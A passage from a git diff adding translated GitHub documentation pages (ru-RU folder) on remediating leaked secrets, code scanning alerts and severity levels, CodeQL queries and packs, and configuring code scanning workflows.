as possible. A webhook fires when a secret alert is either created, resolved, or reopened. You can then parse the webhook payload, and integrate it into any tools you and your team use such Slack, Teams, Splunk, or email. For more information, see "[About webhooks](/developers/webhooks-and-events/webhooks/about-webhooks)" and "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#secret_scanning_alert)." +2. **Follow Up**: Create a high-level remediation process that works for all secret types. For example, you could contact the developer who committed the secret and their technical lead on that project, highlighting the dangers of committing secrets to GitHub, and asking the them to revoke, and update the detected secret. + + {% note %} + + **Note:** You can automate this step. For large enterprises and organizations with hundreds of repositories, manually following up is unsustainable. You could incorporate automation into the webhook process defined in the first step. The webhook payload contains repository and organization information about the leaked secret. Using this information, you can contact the current maintainers on the repository and create an email/message to the responsible people or open an issue. + + {% endnote %} +3. **Educate**: Create an internal training document assigned to the developer who committed the secret. Within this training document, you can explain the risks created by committing secrets and direct them to your best practice information about using secrets securely in development. If the a developer doesn't learn from the experience and continues to commit secrets, you could create an escalation process, but education usually works well. + +Repeat the last two steps for any new secrets leaked. This process encourages developers to take responsibility for managing the secrets used in their code securely, and allows you to measure the reduction in newly committed secrets. + +{% note %} + +**Note:** More advanced organizations may want to perform auto-remediation of certain types of secrets. There is an open-source initiative called [GitHub Secret Scanner Auto Remediator](https://github.com/NickLiffen/GSSAR) which you can deploy into your AWS, Azure, or GCP environment and tailor to automatically revoke certain types of secrets based on what you define as the most critical. This is also an excellent way to react to new secrets being committed with a more automated approach. + +{% endnote %} + +### 2. Remediate previously committed secrets, starting with the most critical + +After you have established a process to monitor, notify and remediate newly published secrets, you can start work on secrets committed before {% data variables.product.prodname_GH_advanced_security %} was introduced. + +How you define your most critical secrets will depend on your organization's processes and integrations. For example, a company likely isn’t worried about a Slack Incoming Webhook secret if they don’t use Slack. You may find it useful to start by focusing on the top five most critical credential types for your organization. + +Once you have decided on the secret types, you can do the following: + +1. Define a process for remediating each type of secret. The actual procedure for each secret type is often drastically different. Write down the process for each type of secret in a document or internal knowledge base. + + {% note %} + + **Note:** When you create the process for revoking secrets, try and give the responsibility for revoking secrets to the team maintaining the repository instead of a central team. One of the principles of GHAS is developers taking ownership of security and having the responsibility of fixing security issues, especially if they have created them. + + {% endnote %} + +2. When you have created the process that teams will follow for revoking credentials, you can collate information about the types of secrets and other metadata associated with the leaked secrets so you can discern who to communicate the new process to. + + {% ifversion not ghae %} + + You can use the security overview to collect this information. For more information about using the security overview, see "[Filtering alerts in the security overview](/code-security/security-overview/filtering-alerts-in-the-security-overview)." + + {% endif %} + + Some information you may want to collect includes: + + - Organization + - Repository + - Secret type + - Secret value + - Maintainers on repository to contact + + {% note %} + + **Note:** Use the UI if you have few secrets leaked of that type. If you have hundreds of leaked secrets, use the API to collect information. For more information, see "[Secret scanning REST API](/rest/reference/secret-scanning)." + + {% endnote %} + +3. After you collect information about leaked secrets, create a targeted communication plan for the users who maintain the repositories affected by each secret type. You could use email, messaging, or even create GitHub issues in the affected repositories. If you can use APIs provided by these tools to send out the communications in an automated manner, this will make it easier for you to scale across multiple secret types. + +### 3. Expand the program to include more secret types and custom patterns + +You can now expand beyond the five most critical secret types into a more comprehensive list, with an additional focus on education. You can repeat the previous step, remediating previously committed secrets, for the different secret types you have targeted. + +You can also include more of the custom patterns collated in the earlier phases and invite security teams and developer teams to submit more patterns, establishing a process for submitting new patterns as new secret types are created. For more information, see "[Defining custom patterns for secret scanning](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning)." + +{% ifversion secret-scanning-push-protection %} + +You can also enable push protection with secret scanning. Once enabled, secret scanning checks pushes for high-confidence secrets and blocks the push. For more information, see "[Protecting pushes with secret scanning](/code-security/secret-scanning/protecting-pushes-with-secret-scanning#using-secret-scanning-as-a-push-protection-from-the-command-line)." + +{% endif %} + +As you continue to build your remediation processes for other secret types, start to create proactive training material that can be shared with all developers of GitHub in your organization. Until this point, a lot of the focus has been reactive. It is an excellent idea to shift focus to being proactive and encourage developers not to push credentials to GitHub in the first place. This can be achieved in multiple ways but creating a short document explaining the risks and reasons would be a great place to start. + +{% note %} + +This is the final article of a series on adopting {% data variables.product.prodname_GH_advanced_security %} at scale. If you have questions or need support, see the section on {% data variables.contact.github_support %} and {% data variables.product.prodname_professional_services_team %} in "[Introduction to adopting {% data variables.product.prodname_GH_advanced_security %} at scale](/code-security/adopting-github-advanced-security-at-scale/introduction-to-adopting-github-advanced-security-at-scale#github-support-and-professional-services)." + +{% endnote %} diff --git a/translations/ru-RU/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-alerts.md b/translations/ru-RU/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-alerts.md new file mode 100644 index 000000000000..85426efe2381 --- /dev/null +++ b/translations/ru-RU/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-alerts.md @@ -0,0 +1,142 @@ +--- +title: About code scanning alerts +intro: Learn about the different types of code scanning alerts and the information that helps you understand the problem each alert highlights. +product: '{% data reusables.gated-features.code-scanning %}' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: overview +topics: + - Advanced Security + - Code scanning + - CodeQL +--- + +{% data reusables.code-scanning.beta %} +{% data reusables.code-scanning.enterprise-enable-code-scanning %} + +## About alerts from {% data variables.product.prodname_code_scanning %} + +You can set up {% data variables.product.prodname_code_scanning %} to check the code in a repository using the default {% data variables.product.prodname_codeql %} analysis, a third-party analysis, or multiple types of analysis. When the analysis is complete, the resulting alerts are displayed alongside each other in the security view of the repository. Results from third-party tools or from custom queries may not include all of the properties that you see for alerts detected by {% data variables.product.company_short %}'s default {% data variables.product.prodname_codeql %} analysis. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)." + +By default, {% data variables.product.prodname_code_scanning %} analyzes your code periodically on the default branch and during pull requests. For information about managing alerts on a pull request, see "[Triaging {% data variables.product.prodname_code_scanning %} alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)." + +## About alert details + +Each alert highlights a problem with the code and the name of the tool that identified it. You can see the line of code that triggered the alert, as well as properties of the alert, such as the alert severity, security severity, and the nature of the problem. Alerts also tell you when the issue was first introduced. For alerts identified by {% data variables.product.prodname_codeql %} analysis, you will also see information on how to fix the problem. + +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +{% data reusables.code-scanning.alert-default-branch %} +{% endif %} + +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +![Example alert from {% data variables.product.prodname_code_scanning %}](/assets/images/help/repository/code-scanning-alert.png) +{% else %} +![Example alert from {% data variables.product.prodname_code_scanning %}](/assets/images/enterprise/3.4/repository/code-scanning-alert.png) +{% endif %} + +If you set up {% data variables.product.prodname_code_scanning %} using {% data variables.product.prodname_codeql %}, you can also find data-flow problems in your code. Data-flow analysis finds potential security issues in code, such as: using data insecurely, passing dangerous arguments to functions, and leaking sensitive information. + +When {% data variables.product.prodname_code_scanning %} reports data-flow alerts, {% data variables.product.prodname_dotcom %} shows you how data moves through the code. {% data variables.product.prodname_code_scanning_capc %} allows you to identify the areas of your code that leak sensitive information, and that could be the entry point for attacks by malicious users. + +### About severity levels + +Alert severity levels may be `Error`, `Warning`, or `Note`. + +If {% data variables.product.prodname_code_scanning %} is enabled as a pull request check, the check will fail if it detects any results with a severity of `error`. You can specify which severity level of code scanning alerts causes a check failure. For more information, see "[Defining the severities causing pull request check failure](/code-security/secure-coding/configuring-code-scanning#defining-the-severities-causing-pull-request-check-failure)." + +### About security severity levels + +{% data variables.product.prodname_code_scanning_capc %} displays security severity levels for alerts that are generated by security queries. Security severity levels can be `Critical`, `High`, `Medium`, or `Low`. + +To calculate the security severity of an alert, we use Common Vulnerability Scoring System (CVSS) data. CVSS is an open framework for communicating the characteristics and severity of software vulnerabilities, and is commonly used by other security products to score alerts. For more information about how severity levels are calculated, see [this blog post](https://github.blog/changelog/2021-07-19-codeql-code-scanning-new-severity-levels-for-security-alerts/). + +By default, any {% data variables.product.prodname_code_scanning %} results with a security severity of `Critical` or `High` will cause a check failure. You can specify which security severity level for {% data variables.product.prodname_code_scanning %} results should cause a check failure. For more information, see "[Defining the severities causing pull request check failure](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#defining-the-severities-causing-pull-request-check-failure)." + +{% ifversion fpt or ghes > 3.4 or ghae > 3.4 or ghec %} +### About analysis origins + +You can set up multiple configurations of code analysis on a repository, using different tools and targeting different languages or areas of the code. Each configuration of code scanning is the analysis origin for all the alerts it generates. For example, an alert generated using the default CodeQL analysis with GitHub Actions will have a different analysis origin from an alert generated externally and uploaded via the code scanning API. + +If you use multiple configurations to analyze a file, any problems detected by the same query are reported as alerts with multiple analysis origins. If an alert has more than one analysis origin, a {% octicon "workflow" aria-label="The workflow icon" %} icon will appear next to any relevant branch in the **Affected branches** section on the right-hand side of the alert page. You can hover over the {% octicon "workflow" aria-label="The workflow icon" %} icon to see the names of each analysis origin and the status of the alert for that analysis origin. You can also view the history of when alerts appeared in each analysis origin in the timeline on the alert page. If an alert only has one analysis origin, no information about analysis origins is displayed on the alert page. + +![Code scanning alert with multiple analysis origins](/assets/images/help/repository/code-scanning-analysis-origins.png) + +{% note %} + +**Note:** Sometimes a code scanning alert displays as fixed for one analysis origin but is still open for a second analysis origin. You can resolve this by re-running the second code scanning configuration to update the alert status for that analysis origin. + +{% endnote %} + +{% endif %} +### About labels for alerts that are not found in application code + +{% data variables.product.product_name %} assigns a category label to alerts that are not found in application code. The label relates to the location of the alert. + +- **Generated**: Code generated by the build process +- **Test**: Test code +- **Library**: Library or third-party code +- **Documentation**: Documentation + +{% data variables.product.prodname_code_scanning_capc %} categorizes files by file path. You cannot manually categorize source files. + +Here is an example from the {% data variables.product.prodname_code_scanning %} alert list of an alert marked as occurring in library code. + +![Code scanning library alert in list](/assets/images/help/repository/code-scanning-library-alert-index.png) + +On the alert page, you can see that the filepath is marked as library code (`Library` label). + +![Code scanning library alert details](/assets/images/help/repository/code-scanning-library-alert-show.png) + +{% ifversion codeql-ml-queries %} + +## About experimental alerts + +{% data reusables.code-scanning.beta-codeql-ml-queries %} + +In repositories that run {% data variables.product.prodname_code_scanning %} using the {% data variables.product.prodname_codeql %} action, you may see some alerts that are marked as experimental. These are alerts that were found using a machine learning model to extend the capabilities of an existing {% data variables.product.prodname_codeql %} query. + +![Code scanning experimental alert in list](/assets/images/help/repository/code-scanning-experimental-alert-list.png) + +### Benefits of using machine learning models to extend queries + +Queries that use machine learning models are capable of finding vulnerabilities in code that was written using frameworks and libraries that the original query writer did not include. + +Each of the security queries for {% data variables.product.prodname_codeql %} identifies code that's vulnerable to a specific type of attack. Security researchers write the queries and include the most common frameworks and libraries. So each existing query finds vulnerable uses of common frameworks and libraries. However, developers use many different frameworks and libraries, and a manually maintained query cannot include them all. Consequently, manually maintained queries do not provide coverage for all frameworks and libraries. + +{% data variables.product.prodname_codeql %} uses a machine learning model to extend an existing security query to cover a wider range of frameworks and libraries. The machine learning model is trained to detect problems in code it's never seen before. Queries that use the model will find results for frameworks and libraries that are not described in the original query. + +### Alerts identified using machine learning + +Alerts found using a machine learning model are tagged as "Experimental alerts" to show that the technology is under active development. These alerts have a higher rate of false positive results than the queries they are based on. The machine learning model will improve based on user actions such as marking a poor result as a false positive or fixing a good result. + +![Code scanning experimental alert details](/assets/images/help/repository/code-scanning-experimental-alert-show.png) + +## Enabling experimental alerts + +The default {% data variables.product.prodname_codeql %} query suites do not include any queries that use machine learning to generate experimental alerts. To run machine learning queries during {% data variables.product.prodname_code_scanning %} you need to run the additional queries contained in one of the following query suites. + +{% data reusables.code-scanning.codeql-query-suites %} + +When you update your workflow to run an additional query suite this will increase the analysis time. + +``` yaml +- uses: {% data reusables.actions.action-codeql-action-init %} + with: + # Run extended queries including queries using machine learning + queries: security-extended +``` + +For more information, see "[Configuring code scanning](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#using-queries-in-ql-packs)." + +## Disabling experimental alerts + +The simplest way to disable queries that use machine learning to generate experimental alerts is to stop running the `security-extended` or `security-and-quality` query suite. In the example above, you would comment out the `queries` line. If you need to continue to run the `security-extended` or `security-and-quality` suite and the machine learning queries are causing problems, then you can open a ticket with [{% data variables.product.company_short %} support](https://support.github.com/contact) with the following details. + +- Ticket title: "{% data variables.product.prodname_code_scanning %}: removal from experimental alerts beta" +- Specify details of the repositories or organizations that are affected +- Request an escalation to engineering + +{% endif %} diff --git a/translations/ru-RU/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql.md b/translations/ru-RU/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql.md new file mode 100644 index 000000000000..16578c6e5f8b --- /dev/null +++ b/translations/ru-RU/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql.md @@ -0,0 +1,72 @@ +--- +title: About code scanning with CodeQL +shortTitle: Code scanning with CodeQL +intro: 'You can use {% data variables.product.prodname_codeql %} to identify vulnerabilities and errors in your code. The results are shown as {% data variables.product.prodname_code_scanning %} alerts in {% data variables.product.prodname_dotcom %}.' +product: '{% data reusables.gated-features.code-scanning %}' +redirect_from: + - /code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: overview +topics: + - Advanced Security + - Code scanning + - CodeQL +--- + +{% data reusables.code-scanning.beta %} +{% data reusables.code-scanning.enterprise-enable-code-scanning %} + +## About {% data variables.product.prodname_code_scanning %} with {% data variables.product.prodname_codeql %} + +{% data reusables.code-scanning.about-codeql-analysis %} + +There are two main ways to use {% data variables.product.prodname_codeql %} analysis for {% data variables.product.prodname_code_scanning %}: + +- Add the {% data variables.product.prodname_codeql %} workflow to your repository. This uses the [github/codeql-action](https://github.com/github/codeql-action/) to run the {% data variables.product.prodname_codeql_cli %}. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-actions)." +- Run the {% data variables.product.prodname_codeql %} CLI directly in an external CI system and upload the results to {% data variables.product.prodname_dotcom %}. For more information, see "[About {% data variables.product.prodname_codeql %} code scanning in your CI system ](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system)." + +{% ifversion ghes or ghae %} + +{% note %} +On {% data variables.product.product_name %} {% ifversion ghes %}{{ allVersions[currentVersion].currentRelease }},{% endif %} the {% data variables.product.prodname_codeql %} action uses {% data variables.product.prodname_codeql_cli %} version {% data variables.product.codeql_cli_ghes_recommended_version %} by default. We recommend that you use the same version of the {% data variables.product.prodname_codeql_cli %} if you run analysis in an external CI system. +{% endnote %} + +{% endif %} + + +## About {% data variables.product.prodname_codeql %} + +{% data variables.product.prodname_codeql %} treats code like data, allowing you to find potential vulnerabilities in your code with greater confidence than traditional static analyzers. + +1. You generate a {% data variables.product.prodname_codeql %} database to represent your codebase. +2. Then you run {% data variables.product.prodname_codeql %} queries on that database to identify problems in the codebase. +3. The query results are shown as {% data variables.product.prodname_code_scanning %} alerts in {% data variables.product.product_name %} when you use {% data variables.product.prodname_codeql %} with {% data variables.product.prodname_code_scanning %}. + +{% data variables.product.prodname_codeql %} supports both compiled and interpreted languages, and can find vulnerabilities and errors in code that's written in the supported languages. + +{% data reusables.code-scanning.codeql-languages-bullets %} + +## About {% data variables.product.prodname_codeql %} queries + +{% data variables.product.company_short %} experts, security researchers, and community contributors write and maintain the default {% data variables.product.prodname_codeql %} queries used for {% data variables.product.prodname_code_scanning %}. The queries are regularly updated to improve analysis and reduce any false positive results. The queries are open source, so you can view and contribute to the queries in the [`github/codeql`](https://github.com/github/codeql) repository. For more information, see [{% data variables.product.prodname_codeql %}](https://codeql.github.com/) on the {% data variables.product.prodname_codeql %} website. You can also write your own queries. For more information, see "[About {% data variables.product.prodname_codeql %} queries](https://codeql.github.com/docs/writing-codeql-queries/about-codeql-queries/)" in the {% data variables.product.prodname_codeql %} documentation. + +You can run additional queries as part of your code scanning analysis. + +{%- ifversion codeql-packs %} +These queries must belong to a published {% data variables.product.prodname_codeql %} query pack (beta) or a {% data variables.product.prodname_codeql %} pack in a repository. {% data variables.product.prodname_codeql %} packs (beta) provide the following benefits over traditional {% data variables.product.prodname_ql %} packs: + +- When a {% data variables.product.prodname_codeql %} query pack (beta) is published to the {% data variables.product.company_short %} {% data variables.product.prodname_container_registry %}, all the transitive dependencies required by the queries and a compilation cache are included in the package. This improves performance and ensures that running the queries in the pack gives identical results every time until you upgrade to a new version of the pack or the CLI. +- {% data variables.product.prodname_ql %} packs do not include transitive dependencies, so queries in the pack can depend only on the standard libraries (that is, the libraries referenced by an `import LANGUAGE` statement in your query), or libraries in the same {% data variables.product.prodname_ql %} pack as the query. +- {% data variables.product.prodname_codeql %} query packs (beta) can be downloaded from multiple GitHub container registries. For more information, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#downloading-codeql-packs-from-github-enterprise-server)." + +For more information, see "[About {% data variables.product.prodname_codeql %} packs](https://codeql.github.com/docs/codeql-cli/about-codeql-packs/)" in the {% data variables.product.prodname_codeql %} documentation. + +{% data reusables.code-scanning.beta-codeql-packs-cli %} + +{%- else %} +The queries you want to run must belong to a {% data variables.product.prodname_ql %} pack in a repository. Queries must only depend on the standard libraries (that is, the libraries referenced by an `import LANGUAGE` statement in your query), or libraries in the same {% data variables.product.prodname_ql %} pack as the query. +{% endif %} diff --git a/translations/ru-RU/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning.md b/translations/ru-RU/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning.md new file mode 100644 index 000000000000..eb0c8d56ef94 --- /dev/null +++ b/translations/ru-RU/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning.md @@ -0,0 +1,60 @@ +--- +title: Сведения о проверке кода +intro: 'Вы можете использовать {% data variables.product.prodname_code_scanning %}, чтобы найти уязвимости системы безопасности и ошибки в коде проекта в {% data variables.product.prodname_dotcom %}.' +product: '{% data reusables.gated-features.code-scanning %}' +redirect_from: + - /github/managing-security-vulnerabilities/about-automated-code-scanning + - /github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning + - /code-security/secure-coding/about-code-scanning + - /code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: overview +topics: + - Advanced Security + - Code scanning +ms.openlocfilehash: 0bf49aa695e9e5a60cef7eb78c6e44f5ecd4ece5 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145087735' +--- +{% data reusables.code-scanning.beta %} {% data reusables.code-scanning.enterprise-enable-code-scanning %} + +## Сведения о {% data variables.product.prodname_code_scanning %} + +{% data reusables.code-scanning.about-code-scanning %} + +Вы можете использовать {% data variables.product.prodname_code_scanning %} для поиска, рассмотрения и ранжирования проблем, существующих в вашем коде. {% data variables.product.prodname_code_scanning_capc %} также запрещает разработчикам вводить новые проблемы. Вы можете запланировать сканирование на определенные дни и время или запускать его при возникновении определенного события в репозитории, например принудительной отправки. + +Если {% data variables.product.prodname_code_scanning %} обнаруживает в вашем коде потенциальную уязвимость или ошибку, {% data variables.product.prodname_dotcom %} отображает оповещение в репозитории. Как только вы внесете исправления в соответствующий код, {% data variables.product.prodname_dotcom %} закроет оповещение. Дополнительные сведения см. в статье [Управление оповещениями {% data variables.product.prodname_code_scanning %} для репозитория](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository). + +Чтобы отслеживать результаты из {% data variables.product.prodname_code_scanning %} в репозиториях или организации, можно использовать веб-перехватчики и API {% data variables.product.prodname_code_scanning %}. Сведения о веб-перехватчиках для {% data variables.product.prodname_code_scanning %} см. в статье [События и полезные данные веб-перехватчиков](/developers/webhooks-and-events/webhook-events-and-payloads#code_scanning_alert). Дополнительные сведения о конечных точках API см. в статье [{% data variables.product.prodname_code_scanning_capc %}](/rest/reference/code-scanning). + +Инструкции по началу работы с {% data variables.product.prodname_code_scanning %} см. в статье [Настройка {% data variables.product.prodname_code_scanning %} для репозитория](/code-security/secure-coding/setting-up-code-scanning-for-a-repository). + +{% ifversion fpt or ghec %} + +## Сведения о выставлении счетов за {% data variables.product.prodname_code_scanning %} + +{% data variables.product.prodname_code_scanning_capc %} использует {% data variables.product.prodname_actions %}, а каждый запуск рабочего процесса {% data variables.product.prodname_code_scanning %} использует минуты для {% data variables.product.prodname_actions %}. Дополнительные сведения см. в статье [Сведения о выставлении счетов за {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions). + +{% endif %} + +## Сведения о средствах для {% data variables.product.prodname_code_scanning %} + +{% data variables.product.prodname_code_scanning %} можно настроить на использование продукта {% data variables.product.prodname_codeql %}, который поддерживается {% data variables.product.company_short%} или сторонним средством {% data variables.product.prodname_code_scanning %}. + +### Сведения об анализе {% data variables.product.prodname_codeql %} + +{% data reusables.code-scanning.about-codeql-analysis %} Дополнительные сведения о {% data variables.product.prodname_codeql %} см. в статье [О проверке кода с помощью CodeQL](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql). + +### О сторонних средствах для {% data variables.product.prodname_code_scanning %} + +{% data reusables.code-scanning.interoperable-with-tools-that-output-sarif %} + +Сторонние средства анализа можно запускать в {% data variables.product.product_name %}, используя действия, и во внешней системе CI. Дополнительные сведения см. в статье [Настройка проверки кода для репозитория](/code-security/secure-coding/setting-up-code-scanning-for-a-repository) или [Отправка SARIF-файла в GitHub](/code-security/secure-coding/uploading-a-sarif-file-to-github). diff --git a/translations/ru-RU/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning.md b/translations/ru-RU/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning.md new file mode 100644 index 000000000000..18035b7dd441 --- /dev/null +++ b/translations/ru-RU/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning.md @@ -0,0 +1,546 @@ +--- +title: Configuring code scanning +intro: 'You can configure how {% data variables.product.prodname_dotcom %} scans the code in your project for vulnerabilities and errors.' +product: '{% data reusables.gated-features.code-scanning %}' +permissions: 'People with write permissions to a repository can configure {% data variables.product.prodname_code_scanning %} for the repository.' +miniTocMaxHeadingLevel: 3 +redirect_from: + - /github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning + - /code-security/secure-coding/configuring-code-scanning + - /code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: how_to +topics: + - Advanced Security + - Code scanning + - Actions + - Repositories + - Pull requests + - JavaScript + - Python +shortTitle: Configure code scanning +--- + + +{% data reusables.code-scanning.beta %} +{% data reusables.code-scanning.enterprise-enable-code-scanning-actions %} + +{% ifversion ghes or ghae %} +{% note %} + +**Note:** This article describes the features available with the version of the CodeQL action and associated CodeQL CLI bundle included in the initial release of this version of {% data variables.product.product_name %}. If your enterprise uses a more recent version of the CodeQL action, see the [{% data variables.product.prodname_ghe_cloud %} article](/enterprise-cloud@latest/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning) for information on the latest features. {% ifversion not ghae %} For information on using the latest version, see "[Configuring code scanning for your appliance](/admin/advanced-security/configuring-code-scanning-for-your-appliance#configuring-codeql-analysis-on-a-server-without-internet-access)."{% endif %} + +{% endnote %} +{% endif %} + +## About {% data variables.product.prodname_code_scanning %} configuration + +You can run {% data variables.product.prodname_code_scanning %} on {% data variables.product.product_name %}, using {% data variables.product.prodname_actions %}, or from your continuous integration (CI) system. For more information, see "[About {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/about-github-actions)" or "[About {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} in your CI system](/code-security/secure-coding/about-codeql-code-scanning-in-your-ci-system)." + +This article is about running {% data variables.product.prodname_code_scanning %} on {% data variables.product.product_name %} using actions. + +Before you can configure {% data variables.product.prodname_code_scanning %} for a repository, you must set up {% data variables.product.prodname_code_scanning %} by adding a {% data variables.product.prodname_actions %} workflow to the repository. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)." + +{% data reusables.code-scanning.edit-workflow %} + +{% data variables.product.prodname_codeql %} analysis is just one type of {% data variables.product.prodname_code_scanning %} you can do in {% data variables.product.prodname_dotcom %}. {% data variables.product.prodname_marketplace %}{% ifversion ghes %} on {% data variables.product.prodname_dotcom_the_website %}{% endif %} contains other {% data variables.product.prodname_code_scanning %} workflows you can use. {% ifversion fpt or ghec %}You can find a selection of these on the "Get started with {% data variables.product.prodname_code_scanning %}" page, which you can access from the **{% octicon "shield" aria-label="The shield symbol" %} Security** tab.{% endif %} The specific examples given in this article relate to the {% data variables.code-scanning.codeql_workflow %} file. + +## Editing a {% data variables.product.prodname_code_scanning %} workflow + +{% data variables.product.prodname_dotcom %} saves workflow files in the _.github/workflows_ directory of your repository. You can find a workflow you have added by searching for its file name. For example, by default, the workflow file for {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} is called _codeql-analysis.yml_. + +1. In your repository, browse to the workflow file you want to edit. +1. In the upper right corner of the file view, to open the workflow editor, click {% octicon "pencil" aria-label="The edit icon" %}. +![Edit workflow file button](/assets/images/help/repository/code-scanning-edit-workflow-button.png) +1. After you have edited the file, click **Start commit** and complete the "Commit changes" form. You can choose to commit directly to the current branch, or create a new branch and start a pull request. +![Commit update to codeql.yml workflow](/assets/images/help/repository/code-scanning-workflow-update.png) + +For more information about editing workflow files, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)." + +## Configuring frequency + +You can configure the {% data variables.code-scanning.codeql_workflow %} to scan code on a schedule or when specific events occur in a repository. + +Scanning code when someone pushes a change, and whenever a pull request is created, prevents developers from introducing new vulnerabilities and errors into the code. Scanning code on a schedule informs you about the latest vulnerabilities and errors that {% data variables.product.company_short %}, security researchers, and the community discover, even when developers aren't actively maintaining the repository. + +### Scanning on push + +By default, the {% data variables.code-scanning.codeql_workflow %} uses the `on.push` event to trigger a code scan on every push to the default branch of the repository and any protected branches. For {% data variables.product.prodname_code_scanning %} to be triggered on a specified branch, the workflow must exist in that branch. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#on)." + +If you scan on push, then the results appear in the **Security** tab for your repository. For more information, see "[Managing code scanning alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)." + +Additionally, when an `on:push` scan returns results that can be mapped to an open pull request, these alerts will automatically appear on the pull request in the same places as other pull request alerts. The alerts are identified by comparing the existing analysis of the head of the branch to the analysis for the target branch. For more information on {% data variables.product.prodname_code_scanning %} alerts in pull requests, see "[Triaging {% data variables.product.prodname_code_scanning %} alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)." + +### Scanning pull requests + +The default {% data variables.code-scanning.codeql_workflow %} uses the `pull_request` event to trigger a code scan on pull requests targeted against the default branch. {% ifversion ghes %}The `pull_request` event is not triggered if the pull request was opened from a private fork.{% else %}If a pull request is from a private fork, the `pull_request` event will only be triggered if you've selected the "Run workflows from fork pull requests" option in the repository settings. For more information, see "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#enabling-workflows-for-private-repository-forks)."{% endif %} + +For more information about the `pull_request` event, see "[Events that trigger workflows](/actions/learn-github-actions/events-that-trigger-workflows#pull_request)." + +If you scan pull requests, then the results appear as alerts in a pull request check. For more information, see "[Triaging code scanning alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)." + +Using the `pull_request` trigger, configured to scan the pull request's merge commit rather than the head commit, will produce more efficient and accurate results than scanning the head of the branch on each push. However, if you use a CI/CD system that cannot be configured to trigger on pull requests, you can still use the `on:push` trigger and {% data variables.product.prodname_code_scanning %} will map the results to open pull requests on the branch and add the alerts as annotations on the pull request. For more information, see "[Scanning on push](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#scanning-on-push)." + +### Defining the severities causing pull request check failure + +By default, only alerts with the severity level of `Error` or security severity level of `Critical` or `High` will cause a pull request check failure, and a check will still succeed with alerts of lower severities. You can change the levels of alert severities and of security severities that will cause a pull request check failure in your repository settings. For more information about severity levels, see "[About code scanning alerts](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-alerts#about-alert-details)." + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.repositories.navigate-to-code-security-and-analysis %} +1. Under "Code scanning", to the right of "Check Failure", use the drop-down menu to select the level of severity you would like to cause a pull request check failure. +![Check failure 